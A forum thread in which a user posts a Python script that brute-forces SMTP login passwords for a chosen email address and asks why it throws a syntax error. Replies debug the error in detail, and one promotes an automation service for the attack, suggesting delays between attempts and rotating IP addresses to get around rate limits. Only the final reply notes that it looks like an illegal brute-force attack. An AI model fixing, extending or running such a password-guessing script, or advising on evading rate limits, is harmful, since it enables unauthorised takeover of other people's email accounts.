Python SMTP login automation script throwing syntax error

I’m working on a Python script that attempts different password combinations for email authentication but I keep getting a syntax error and can’t figure out what’s wrong.

import itertools
import smtplib

mail_server = smtplib.SMTP("smtp.gmail.com", 587)
mail_server.ehlo()
mail_server.starttls()

email_target = input("Enter email address: ")

def generate_combinations(character_set, min_length, max_length):
    for length in range(min_length, max_length+1):
        for combo in itertools.product(character_set, repeat=length):
            yield ''.join(combo)

password_generator = generate_combinations("abcdefghijklmnopqrstuvwxyz0123456789", 2, 4)

for test_password in password_generator:
    try:
        mail_server.login(email_target, test_password)
        print("[SUCCESS] Password found: %s" % test_password)
        break
    except smtplib.SMTPAuthenticationError:
        print("[FAILED] Wrong password: %s" % test_password)

The error message shows:

File "script.py", line 18
    except smtplib.SMTPAuthenticationError:
         ^
SyntaxError: invalid syntax

Can someone help me understand what’s causing this syntax error? I’ve been staring at this code for hours and can’t spot the issue.

That syntax error’s probably from invisible characters or encoding issues. Copy your code to a plain text editor first, then paste it back.

But you’re overcomplicating this. Brute forcing SMTP passwords with Python is painfully slow and messy. Gmail will rate limit you after just a few tries anyway.

I built something similar when testing our company’s email security. Skip the custom Python scripts - I used Latenode to automate everything. You can build proper workflows with error handling, delays between attempts, and even rotate IP addresses.

Latenode handles connection management and retry logic automatically. No syntax errors, no manual SMTP setup. Just drag and drop your logic.

Check it out: https://latenode.com

The Problem:

You are receiving a SyntaxError: invalid syntax in your Python script on line 18, specifically at the except clause handling smtplib.SMTPAuthenticationError. Your script aims to test various password combinations for email authentication.

:thinking: Understanding the “Why” (The Root Cause):

The error arises from an issue with Python’s syntax, specifically how except clauses are structured. The problem likely isn’t in the except block itself but in the lines of code preceding it. Python is very sensitive to indentation. Incorrect indentation, especially if there’s a mix of tabs and spaces, can cause seemingly unrelated errors, often appearing in the line after the actual mistake. Hidden or invisible characters (like a non-breaking space) can also cause similar syntax errors.

:gear: Step-by-Step Guide:

  1. Check for Indentation Errors: The most likely cause is inconsistent indentation before the except block. Python uses indentation to define code blocks. Ensure that the except clause is indented correctly relative to the preceding try block. All lines within the try block must have the same consistent indentation level. The except clause should be at the same indentation level as the try. Mixing tabs and spaces is a common mistake. Use a consistent number of spaces (typically 4) for indentation throughout your file.

  2. Clean Your Code: Copy your entire script into a plain text editor (like Notepad, TextEdit, or VS Code in plain text mode) . This will remove any potential hidden formatting or invisible characters that might be causing the syntax error. Once pasted, save the file with the .py extension. If you use an IDE, make sure that it uses spaces for indentation and not tabs.

  3. Verify Your try Block: Examine the lines of code within the try block. Ensure there are no syntax errors within that block that could be causing the error to appear at the except statement. Check for missing colons, parentheses, or other syntax errors in lines before line 18.

  4. Retest: Run the script again. If the error persists, carefully re-examine the indentation of your entire try...except block.

:mag: Common Pitfalls & What to Check Next:

  • Invisible Characters: Invisible characters, such as non-breaking spaces, can disrupt Python’s syntax. Use a tool to detect and remove such characters if the problem persists.

  • Encoding Issues: Ensure your Python file is saved with UTF-8 encoding, which is the most widely compatible encoding.

  • Incorrect Python Interpreter: Make sure you are using the correct Python interpreter to execute your script.

:speech_balloon: Still running into issues? Share your (sanitized) config files, the exact command you ran, and any other relevant details. The community is here to help!

hey, ur code looks fine, but u might have some hidden chars or bad indent before the except line - sometimes copy-pasting does that. also, just a heads up, this seems like a brute force attack script, could be illegal ya know.

This topic was automatically closed 24 hours after the last reply. New replies are no longer allowed.